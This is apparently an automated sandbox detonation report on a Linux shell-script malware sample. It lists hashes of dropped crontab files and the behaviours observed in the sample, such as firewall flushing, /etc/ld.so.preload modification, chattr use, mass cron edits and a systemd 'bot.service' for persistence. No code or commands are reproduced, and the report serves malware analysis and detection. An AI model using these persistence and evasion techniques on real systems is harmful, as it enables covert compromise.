SHA512 c72b626ee1d15f3aebce6f01776ed07c4d17d1f645ad5a214f1bf877ccb20c794843e37bbea597f202f198cad46b244e824eead626b44f79bb34e6c53fc65e31

/var/spool/cron/crontabs/tmp.Yv6c3g

MD5 4f62345c706b694d682f9b28002d0dec
SHA1 46000e0a4b8da910d8aaf3cf8afa85dc0ab0b151
SHA256 fa08378393064fd82afb2f26d96235f6f541e946536a20b44e7736353e9feb59
SHA512 d7102d98476891b64b4af9e01a81a25984e7289280c66dfd9e8f33ff72a7812d54d38e54ff0443314ddb5ba65a4f79298ac712aac23c307ce58a0c593bef81e0

/var/spool/cron/crontabs/tmp.udUgqm

MD5 e1ce7b839436450315f7137225870bb2
SHA1 1b25f8f783aa4093acf63a033eb3ca649b573cc3
SHA256 90381b28dc15741778815f6d5b65f913db12ba7d13d6812039e5f3e044a5445f
SHA512 16e8bb09d312369113292360854ffa882319bc390a48f3ecae71da883ada2ee3dbfeb89ee39c4d151a2c2b16d7a3f5a7104705a8f4c85ad887f2362912291db7

/var/spool/cron/crontabs/tmp.C8yYex

MD5 acb870ffc8f8fde808f1da6d40d43899
SHA1 78c81230db696c1b4dac28969e9c37b8432371fc
SHA256 6d99b95d348292f7f3c3a938b164f85619c3b2eb17abd61c6c29d8a0a110a6eb
SHA512 d7f72c90a2a85671b3e1e8e167ae3b15c729d2e79659221f262179fab6edcdb9c1923d6c4b90c386a176e57cc7b556db984af5112918f1a1e08e9a41986af6ac

/var/spool/cron/crontabs/tmp.uDFNoJ

MD5 4a50017f87abcd3bbbcdca5d4ead01a2
SHA1 7eec9f91e61df81b8637e380c910fb2f3d3c0d07
SHA256 5058f20941f3c82ea306393f89b7e51779cc1c79bb11292fa264b9eba2041b9a
SHA512 acb88ccd9f274e6d53fff54f8803394bef18ca994ecdd39efc6a4171055afab7dbfaef4eb070206b80ec00085ba0d65aa4e22bd050ba520fe548607e3fb75e1c

/var/spool/cron/crontabs/tmp.06axD8

MD5 484f7504f91d9a2decd0ccabe1cab513
SHA1 f10440b91f88da75e12cf64e7a55a2792c5eb1e2
SHA256 77c749a4d9b28a7cce40c086c9dd35264a856d7cf1aa62070c949ff288f648c0
SHA512 a150971fd79c630583a27519108d7121a026068ffe11ba9f47c708a6ec21c60991693a301770d340db7be33d9106ece2525f1cb942ba228be40a3b45fd538efb

/var/spool/cron/crontabs/tmp.P9wgRi

MD5 7fc43b95cb89842bbcb723cf3562a33d
SHA1 e2059322f9249c11b39957808acf5e8d95d71a71
SHA256 1a6bd49a5aad8d2e7da84c1a0c7e112054255aea26259d927fb11cc0435352d2
SHA512 62e9a21600e13ba22042d2fa64e9748b4f296ad18fd83434baaa5419b5c0ee69fe41b30dadb781e2e1e8e9ef3f7e1aa10199e7ab2a272712cc6d649c0394c915

/var/spool/cron/crontabs/tmp.HRKEqf

MD5 a7161b22671679a9984f715614de7446
SHA1 2ecfbac65ecdf1dad7da1a6216700e5fada56219
SHA256 403cfbb472b3c10edfeb160fb591223af115839e787a814e55ac7d265d85cfaf
SHA512 193644268229a47e4695004c4163234770cf0d04008822f217b78138c366272f15fafe94f65d68c9a3592f635092432b6e37e034f7038837ceb095fcacf8cd58

/var/spool/cron/crontabs/tmp.Atk6eu

MD5 3402b8c39f8816e235c39b79122fca4c
SHA1 7b3dbde5f425928354b6f48e8dc4b17384d08fba
SHA256 7814effe26e7a79864b78a5e2c8a715307dbe5d21bf7a0a09808099d076a62ce
SHA512 69507ec2a40c409867f59cf4a887c9322f73f23f70071b651ca3e02118bdea65c18e764816229bda6f39ccce0703429772a2af7b05b6cb5c76dca43aacf7af50

/var/spool/cron/crontabs/tmp.qFum0W

MD5 03e2ce69a1b0588844da00206cb0a270
SHA1 45b968148a09f6775b647c41cb896bda309eef7c
SHA256 0c6c1508d3c535d705058eb7933d76a7aa8691859f99e49252eb588ff1a1ff62
SHA512 ec5af88ff01e0e75c0dde50e0e8afe293b3bb7a8518dcab1ba5f7f0609f43866c9b9f9bbde204d77e7b1cb2bef8ba8b51e572b6f1265d09a1b5167dbfca625e8

/var/spool/cron/crontabs/tmp.6H0B3b

MD5 589a4b2a34be9f36d0227e8b2c1e3433
SHA1 8620bdf8a5734d22445facd643215e670e166374
SHA256 06f2d26b6ad82c2300ea050637f225109a37bb697e68b1c1946c9a75bda28579
SHA512 201387ba927f946b3bd204f9456df737e6a29deff08dbe84dac538656fc1ea8e0f684ec3735a4ccdc36aa262dbbb1d71ba927756cfb7a0b22e19dedcb65a1838

/var/spool/cron/crontabs/tmp.rj2vN1

MD5 e34e796f843ddf90153f80a0e9a6adfb
SHA1 f64b7c7882048ef77de0516ada29aa56a9fb7587
SHA256 655dcc242d9885b48ab96f542616266486bfa7626b04b52c4e21cb01d0a7f797
SHA512 1fa77f18d186822d36fadb2a1f3292225442cd042a7262f434105175ac427aa9a8fc000c89ba9aa86f23f655ce75fae54e364bbc69c13c3a71293b202ac7cd57

/var/spool/cron/crontabs/tmp.Tww0yg

MD5 275cdc7b373d7c5bf1b0f0f497469ee2
SHA1 8739dd22de108b02c70bf5d87f37313411263854
SHA256 0bb9e3485cfd4b2ce07e33e58a04eba1cea19f686aa4036da8c0857e4012f61e
SHA512 ff43724d4eaf31d3d788bc1e6fc1e2dc1aadb7fec78a36e20cf7d888996cb2e229e1924b2a43f85dc3a99bc59d3886f6ad82b30ea4eba85048143cc3184e0ded

/var/spool/cron/crontabs/tmp.Y4uzyu

MD5 34761815d11bd6c7e7a2ba49defa8ae9
SHA1 9ab4bf0f13d5484dac78ef2194b1c22fd121b31f
SHA256 638a5babd5b54044cd354c9665606d9db59a53f16878a549b34e1b1e5a235763
SHA512 6a428c5318ec45826c14a1c9b605293658baf1cdae631c8366786686aa765d8333765367d5ebdfc43c334c3ddb28d6321b37216152654a71710a1708eaa8beb7

/var/spool/cron/crontabs/tmp.UeztWL

MD5 40adc4a4cd2569bd37e231ae6671df77
SHA1 436267dded52fb4929feae934994527f81fb92d6
SHA256 ca2f3b93f7f15dd9709a1eeaa4744789469f554e4121cfdc5edfd1f5ee24794e
SHA512 86e156ecad43c2652cf824add264a5617756fe15ab47a51885bc4ceaae1ed4da5862b4bcf3ae251d0ad150d3ea3dc1ac0061ed308edf5ced59844f3d5a6cc88d

/var/spool/cron/crontabs/tmp.12pGNh

MD5 9aeab15ac5a3e05c8e008aec019650cd
SHA1 0337f740b77504fbca85155be8d49bb013b6332e
SHA256 390d1a9a35d26354d4c66ebb01529b11184c1ae7a4f9902bb1173b088e70e05b
SHA512 09c0f7132b2a5ef55470963f9b5e10f3d87bf76bff2920e2414e2331e6124dcbf4cc6b463b5cd6e0c222c872ecea926b704169e67167f36163321ee606b90917

/var/spool/cron/crontabs/tmp.0YEqtd

MD5 371aa75d4f0a788dafbfda046a08b1d6
SHA1 f876129ab2a81515167b162ffb8b439c96e211e1
SHA256 a530ec8d12e741b324768a497b463c6b8817778d7f9a6e476f29855d0c839325
SHA512 6010008ab6845925583570efe57a876466b329d04499c0137e2d2da05f41926adca59fc333873089b26bb0d9c6ac6c4a0700451d022dd587a7f06cb03b9c6ad2

/var/spool/cron/crontabs/tmp.vdUyUs

MD5 32dc6aedd388e8a078b5d2ef73d935c4
SHA1 f4c39c7434bb92f6e52967d4ed7b282839505076
SHA256 7095adacad5e41fb6fd57df6266d51a27bd0f697da059155c723c894632dec2f
SHA512 8b327b88711549edf87c1cdefd4fea960dc54d41dfb9dcf709ec6f3f5e7fe3baf2b376e35e16ec51a682e26dbdee5c8fe62f24877f3d1c1a48dce8da6aca76de

/var/spool/cron/crontabs/tmp.UzxVQZ

MD5 3bc8e08920893db10ee98caa595956f4
SHA1 56e54ac05928c7b460811da84f93ea2d0e061f34
SHA256 d7772a06d9cbde0dcc8a07083a786cf3b1739dc5969ac9a9ede9530cacd92683
SHA512 420e6ce520d39b0094f642e7cda3c261507b4a0bc380621144b11b575167f52ade81b0ecca9582550c00d6268d5d45a8d84bee63e44231fb06381c126e017b14

/var/spool/cron/crontabs/tmp.NlDOKb

MD5 0f60ee7fd8914eeed74364eb425326a4
SHA1 46409a74d7ab786908330eb4e06b67088fb85d77
SHA256 b4ab9ac79c506c85c528e1d98bdba36b7ce0bfde0c5988c79f1fc87bfc8da00e
SHA512 e4b5d8d1f0b6e1cf373cd21a90f26e24a1a7e5343cc7510c9d2205cc92d5cede50f6123560500b90fcc2dd6c6382337a95a9a57f8b54eea23ba78ec6ff037c55

/var/spool/cron/crontabs/tmp.gfX3hk

MD5 c138bc35f44341cb43ccadb84c65e05e
SHA1 aef9f369d8585d05c3b49187e545dac22f43e3fe
SHA256 2831a69fe93b271b42e538a92c815c170d20694b597f35cf1442729ad929297f
SHA512 777c6547354ee86aadadcf6f70aa2c324bf8ca6295953e1fc2ddde3c70ff7919c576e02b7ae422f16ee4ee3dd812f836938a6171fdb91bd16e660642f0ec1fab

/var/spool/cron/crontabs/tmp.Px4nKG

MD5 f63cdab5d81e83925b9cd46d8314d738
SHA1 f13f1c660f577815c94e80b7523b7e14558fd0f8
SHA256 e5c250a7743644c75ac86f923eef4db6b14706cbf39ac7cd6501f40d11a15839
SHA512 e379f307fb66bb6435f4d446848bc0da1c7f6235c3c93058f0769039707e2fdbab9211cf2fe6ac309ff4f5171ff979fd4c4031ab242c03a3e9520d903ccc16aa

/var/spool/cron/crontabs/tmp.Y8SXF7

MD5 0721595974e6653a7d9beb334b1005b3
SHA1 51b456561915764802c94d84df5cec6d6cf7b608
SHA256 97b9eba01a84b011aec6faed5a8f33965fe4313f122cf281f084fcab13bf5087
SHA512 2e9fd3593fef9e16b52748b92e04a035a1b0293f7ea4a31afc04e903377fce7fba9d797764445048b4381e2537ef52417822dd20c3c183bf65e6c397164e640b

/var/spool/cron/crontabs/tmp.QHJlNU

MD5 402bec5f861babf8eaf152e2bcd2ee0d
SHA1 1bd2939bf988a4a5e305658b06fb647200c7a9a5
SHA256 8d4c912b46a167ad3c94f609ff54479db9d37b87158bf2ef3848960eed3c8106
SHA512 7255f62c85ac4b4f190930aeb8693930975f3db045a6ddf674f862a341dd005f5db29db9b262750c2478e8057e10049cb776d6396ce6641a2056e223ffe5b613

/var/spool/cron/crontabs/tmp.koBKdN

MD5 e4f84dc05aba8dc16e5f4a019507e13c
SHA1 683145654c3ae7e98306653d1352a949c8892802
SHA256 7e46975fef7c62402ae6ac0127d519f742dace0f4aac7ec729bfbc03cd97c481
SHA512 5c58fce3cd84a815487a55d269749f899f46b70c4cf326d4e20a41b472aad05e0a96322d7db9af0521c551c85a295681ee8cee8eb0138aa799b7436b4de04c73

/var/spool/cron/crontabs/tmp.QTyz4r

MD5 efad207547df217b9ca3730c0e7291f7
SHA1 35ceabac24d15435f50ae449ddf27c4c1389e230
SHA256 0853a67129369b6d0a31fc276f35f0192d8242d9f467b6c320c7ffdc7b0af147
SHA512 f8f449c910c53b6e8d4b0fbf7160856d19f8c98430e238d35b45968035702b24542892b08cfeca1946a12ece582b73e66305c7bcafe0dfc0efcacca8cd82cf8e

/var/spool/cron/crontabs/tmp.oAWyMn

MD5 cd1a56e66f2d2a9e987808a501800879
SHA1 dd6913dfb6db9ec635bf91b5a1ad4ccdcb416078
SHA256 126922e666e0148646cf52e74ac52cb43f544546723fd953b632b8775ae3ec7c
SHA512 7f5dc4e9bed98bf5671d4e371a94c24d9c3792d1d13ddfa6dd18f9d584f47115fec5bc4143fadbd7ff83f446bbeb981a6c9a9da43878cdb7036c73cb9b73826e

/var/spool/cron/crontabs/tmp.KGO7vp

MD5 c73bac7bcd39b22ad8932bb6b484b56d
SHA1 146cc871da48e689c122c2bb9ef59d14bfa76122
SHA256 fb982290336cc3429ee4202386992c0cf8cc75380a13167f116f4014dfe167ae
SHA512 b6c4e984f2b76a8624dd72e6b0c15f72fc3477d3a7738252006050da0f3a12943d24a60ff02be7075a837d55d7192b8f6c9e82c8cf0812af29a27a9cee211f7a

/var/spool/cron/crontabs/tmp.TAsMn7

MD5 a786bd958479311435e82325e2edcfdb
SHA1 ef4deca1d7f451b4ef36fee4ca6a0005e1139c98
SHA256 ecd02e2247086dca5e789e4368480811405586e3cc3e4f985f3ead7696dd020d
SHA512 97a92622e3772f3b444ed4e349952afa5c7380eb300cfe8ae42645483e4d5758f4c9d3b65d2a6560b460500a8ce0bf5e5481174bba593b7096c921ac7076ce6d

/var/spool/cron/crontabs/tmp.h5kvXZ

MD5 1d9fc50e2485b5f86ef9e890036d752a
SHA1 bd10e4ce9f35c6943ebf98b93673ce3316237fac
SHA256 ff407f9420567012a19b94d6c5dfffa4242d3b8185f4404fc292cc0421567b88
SHA512 2184ed067fdfc616c496f43c1c00c5b90222e810ef6dafca198e19c65ea27ab1370a38d5fa8320784624b9a6a50a57cebe5980404e0dddd1aed69998e1fd3dbb

/var/spool/cron/crontabs/tmp.j4tRER

MD5 d97eb10170097db64be3514e927da54f
SHA1 9f95f372c51fa62ae3ea46cd010293b9c58bd2c7
SHA256 60d8b5564b34bf6941a61441cff04856769f534ca599fe613743e7385262e8bd
SHA512 32fe4f54db29eee8004a262f0b7deda04f74e192e498260971a515b6b7a005bbcce8f5ccfe8fb4b83fa8d92596eed2d3cfeca02167df32a980cc1f0a47703a48

/var/spool/cron/crontabs/tmp.jaCQGH

MD5 ad90b0d8ef78107ea9a2ddef16cb4567
SHA1 eee53e1715bd55e57e09aeabfd695ba57f4d5b2e
SHA256 cc31cafbae333772b19bbf91e50ebb19e92b0fed423edbb69fe4e606ec8e8f37
SHA512 d6d6d765334d3bab074a953d90af5f7902bd403ee1015a476a7ac5addf38195ab5514e996735623a8797a404f3e7b0dd6c5502f89a03027cd7b874a3addff72a

/var/spool/cron/crontabs/tmp.rQZUvx

MD5 e5116a1080b86744e4c6bd3ed0391e94
SHA1 fd38aeafcacd17db402cf7a0c9f2fc92bfa30b20
SHA256 05b6149566291290935b3a768e86623fd1da35996473d619f529a76b26782403
SHA512 6cb65eae1139dd2d47d254deae206391e4feec84d424ca344ca08adf660ecab519732775c4b66bceb673b3141ee0866f1ecec2d612bbf43e07b1822de3629a6f

/var/spool/cron/crontabs/tmp.D0MP3k

MD5 ee4719e181037072e6dd4ac970052538
SHA1 42028a2412e46a062a8c3d74e7a564f3ce65fbdd
SHA256 440055c1353ef100bac8459864f6c4d711b672790c829d9fd27f43583e32863f
SHA512 07833d05454ef077b281520aee5fba72f09103d249f92fc7c5841b191fffd24963db7d64d68b308a0d28da3d1a4523b39a43d3849a0e77f97e8f69dbdb1e57ae

/var/spool/cron/crontabs/tmp.wrN691

MD5 c94ff7d4e5282a2c073c38767dfa377f
SHA1 245c96ef54d686ff9c5d641f09fc4c6b92973566
SHA256 c0c89d10115786ad4ca61a357de1a13042a87c424f376edca90e4d332565bcb9
SHA512 67194b21b68b86aef55ae95a7e8c78e22600cab9be682e22212bce78137f7ce70c29cd522b8acdc6c174c28a51171dd3b1f9e5a324aeaa84ef76932f5a6529e7

/var/spool/cron/crontabs/tmp.y11aPH

MD5 3c0cc0a7147c9ec3bc60b44cc4987861
SHA1 ae1a1c951efdba8395b745042c9fd5038a5d8381
SHA256 f7a08ae8fc30306ca238927b1d1082a858ec2b8c237877976993108781bbeb90
SHA512 12f2c93c60201418fa9fff97cee912ed45042a9201a03b69a170cd4d5c60b76a82f70515c8b870301ec997126446202c3b7126fe15ec93094fcb6e4590a6a2fb

/var/spool/cron/crontabs/tmp.2bKUky

MD5 926e23dc0d454eb20e6305b6e870c8fc
SHA1 8a617f4dcde055d98027ed525f0dbc932e2ed505
SHA256 f07b112268e5a27ebcc7dcfde99c1aca6038e5060c82da664c6e6c2d902c8392
SHA512 8f9baee6ddc404ba982fb0543751d5243ec4e80749b60af8d3b715e574de5140c91315e406ac937bf09a4fbd78a8b76b1442f19ed05acc09dff0c2314dee39c0

/var/spool/cron/crontabs/tmp.Qo7koh

MD5 bfce1d14bb876d8cd1da959d0450e9d5
SHA1 ea6ea31032f42792218ff487b8c04618497c9086
SHA256 5e49f88ff8a3586d88df18d361052fa45efe6f0dec82f1fa0f13876f4ee669ee
SHA512 5424d208e94f84c441fb461d444ac14f6c784c8ed9825180eb7d7a78e6b331b8784ecde426d283dc8d5b24b10bc9f14a7d081863ef25c1d5ad933ec5e2510ad5

/var/spool/cron/crontabs/tmp.bnTwy0

MD5 9bd1046d9e4687cb3b2593f1e3610c06
SHA1 47d61c8202b7a2b618a1edf105e290f8c1d15418
SHA256 a5d46a6d3c107b6e60d548e36feaca5eca49ad9021a229027127965b588731f0
SHA512 021fa070262f2cf7ad4ba9f7510dd3c58c4ecc06df086f7fcdc38d75f05dc708dbf15bf1f7cb5a431c156b11dee76cb5cfd6c6e9f683f0fe4d7e73d9d396d41f

/var/spool/cron/crontabs/tmp.zvIIUJ

MD5 c8fb153692ab0a3b7d065a7e4020ae50
SHA1 a08c107a231fa3de17a3a21adb76c719321378e2
SHA256 dc0d876f07bf9f42b5a0975db4470de0dff507c873c107c0bbb0340348b7a998
SHA512 db88d2fc588f738981e2f8513d2de7aa31a84e62b79f15c7a9ea6e9a8f4972b737a31fe3cbcd18045d8f3f48d0160e8988c34c6efa0e3cec35385bbaedaadf95

/var/spool/cron/crontabs/tmp.LH4olH

MD5 89ef2e6fa3d31e3d934c682d9ce78d13
SHA1 101768dede92651fab179dccebc5328d3cc5d170
SHA256 23be8a693e38ed26ac43dd115c15f83c839fd3bb11f290b8c9517bc85a4bce86
SHA512 1e1ef30b066a9e1c0fc2639c48208bb9ff2eaac45926519bf825e46169bb68af2992d7d232cedf41e58ba4a1eb4e19948877a1587d361742f87761be0bb2b321

/var/spool/cron/crontabs/tmp.bXABnB

MD5 8826b6c294f45ce90cff26ef5dbba376
SHA1 d438f0c65c9109914b75fa7565cd51a988c428a2
SHA256 05716eeb1c7d99b81b996e3173f318112394e6af6e8ba320907ecace753927c2
SHA512 5cf79ca76f0ba3cc6a6a8e8b7fe9fc49aeee654e1ba980de34a7f954250e88d6ee3d426111fbafff37a640ff22c2ae3c4b0893951a53f3ff72912b20897582b1

/var/spool/cron/crontabs/tmp.jjbLRp

MD5 0d22b4409ff50a978391a97d10f3f873
SHA1 2143ab4d659b16ab275ae7083dd827db8581b4e0
SHA256 40e4559ed07260308ab9785a6ff587a73a5d85dba6ed0f0079eb148821249af1
SHA512 7542df4423750e49fea6b9939867a2d3b4444aaaeeac3b39e39d4d9f97f01d9d334132c25b36070a92ae13d8eb9c4212d5019405535baec7f69d62402dd567b2

/var/spool/cron/crontabs/tmp.S4rlQf

MD5 3b1f49dcb1008c01c89eff370a40adf4
SHA1 b791c78c434463684b5a9f370dc0ed843788ea4c
SHA256 1d35dcbd5bb54344f2ee64338b2aaa4fc5651d443275209207f63d6181314974
SHA512 990617917df9cf31789769140c2eadea6735acb29d73d61b7daee8abb439159278aa43c0d8d714c731ef8f136213e2e4b787da304a3638fb887cdc30e1cc3833

/var/spool/cron/crontabs/tmp.jIwe9t

MD5 2aa75d51f2b3679062abd4c4db9cc4fa
SHA1 daebed1daa63c88cc7cbce8db1f03cf14a1b0b71
SHA256 4044fd64b9e87fee98c3ac0fd44ebec492ea58e3e41ec9aebd09bb2ecd14f1c0
SHA512 954216dbabcdefc37fd46242fe712f902b6b613b6756506138b6dfd7e90883c2757f3f1a60863f0642bd644009f72e0f186b50f4963254066ab125b8874463a4

Analysis: behavioral20

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:06

Platform

debian9-armhf-20240418-en

Max time kernel

0s

Command Line

[/tmp/script_malware/404]

Signatures

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/404 N/A

Processes

/tmp/script_malware/404

[/tmp/script_malware/404]

Network

N/A

Files

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

ubuntu1804-amd64-20240611-en

Max time kernel

3s

Max time network

131s

Command Line

[/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh]

Signatures

Modifies the dynamic linker configuration file

exection persistence privilege_escalation defense_evasion
Description Indicator Process Target
File opened for modification /etc/ld.so.preload /tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh N/A

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A

Flushes firewall rules

defense_evasion
Description Indicator Process Target
N/A N/A /usr/sbin/ufw N/A
N/A N/A /sbin/iptables N/A

Loads a kernel module

rootkit
Description Indicator Process Target
N/A /lib/modules/4.15.0-213-generic/kernel/net/ipv6/netfilter/ip6_tables.ko /sbin/modprobe N/A

Attempts to change immutable files

Description Indicator Process Target
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /lib/ufw/ufw-init N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A

Creates/modifies Cron job

execution persistence privilege_escalatio
Description Indicator Process Target
File opened for modification /var/spool/cron/crontabs/tmp.H6LDRN /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Coa9U4 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.rv1cq3 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.2dKLac /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.BvaaWg /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.S2RXOm /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.j973hw /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.N68EiB /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.4lnDGi /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.8GbkVC /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.qMMHUI /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.gv7OLR /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.0WlUNQ /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.D8B271 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.0H2od6 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.hRz8ll /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Zp1jCn /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.PEVm9r /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.FOSCc6 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.7AVsii /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.42Ouly /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Lf0pkz /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.lxpvZU /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.uFk9TX /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.3f9zee /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.QKbVQj /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.4qgyUC /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.kskEcK /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.j73i3O /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.elIYgw /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.B923xF /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.5Hfil9 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.L0069b /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.eiNnrl /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.roQM2n /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.1hcObp /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.t9DgnE /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.El47RY /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.EtVM2g /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.3R7Ywf /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.KiFNfe /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.EGApms /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.cjp6aE /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.S229kB /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.YlO6Bp /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.qmKFho /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.OH5Jm9 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.zxsaBv /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.j3h2GL /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.za2CXV /usr/bin/crontab N/A

Enumerates running processes

Modifies systemd

persistence privilege_escalation
Description Indicator Process Target
File opened for modification /lib/systemd/system/bot.service /tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh N/A

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
